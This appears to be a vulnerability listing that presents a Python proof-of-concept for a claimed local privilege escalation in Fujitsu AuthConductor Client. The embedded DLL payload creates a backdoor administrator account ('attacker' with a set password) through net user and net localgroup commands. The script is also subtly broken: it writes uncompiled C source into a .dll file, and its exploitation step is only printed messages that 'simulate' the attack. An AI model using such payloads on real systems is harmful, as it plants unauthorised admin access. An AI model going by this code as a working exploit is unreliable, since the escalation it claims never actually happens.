CVE-2026-20893 Fujitsu AuthConductor Client 本地权限提升漏洞

# CVE-2026-20893 PoC - Fujitsu AuthConductor Client Local Privilege Escalation # Discover: [email protected] import os import sys import ctypes import subprocess from pathlib import Path def create_malicious_dll(): """Generate malicious DLL for privilege escalation""" dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute payload with SYSTEM privileges system("cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\poc_result.txt"); system("cmd.exe /c net user attacker P@ssw0rd123 /add"); system("cmd.exe /c net localgroup Administrators attacker /add"); } return TRUE; } ''' dll_path = Path(os.environ['TEMP']) / 'vuln.dll' with open(dll_path, 'w') as f: f.write(dll_template) return str(dll_path) def exploit_vulnerability(target_dll): """Attempt to exploit origin validation error""" # Step 1: Identify vulnerable AuthConductor service # Step 2: Create symlink to redirect DLL loading # Step 3: Trigger service to load malicious DLL print(f"[*] Target DLL: {target_dll}") print(f"[*] Creating malicious DLL...") malicious_dll = create_malicious_dll() print(f"[*] Placing DLL at vulnerable path: {malicious_dll}") # Simulate exploitation print("[*] Triggering vulnerable code path...") # Verify SYSTEM execution result = subprocess.run(['whoami'], capture_output=True, text=True) if 'system' in result.stdout.lower() or 'nt authority' in result.stdout.lower(): print("[+] Privilege escalation successful!") return True return False if __name__ == '__main__': if not ctypes.windll.shell32.IsUserAnAdmin(): print("[*] Running as standard user - attempting exploit") exploit_vulnerability('AuthConductorClient.dll') else: print("[!] Already running as Administrator/SYSTEM")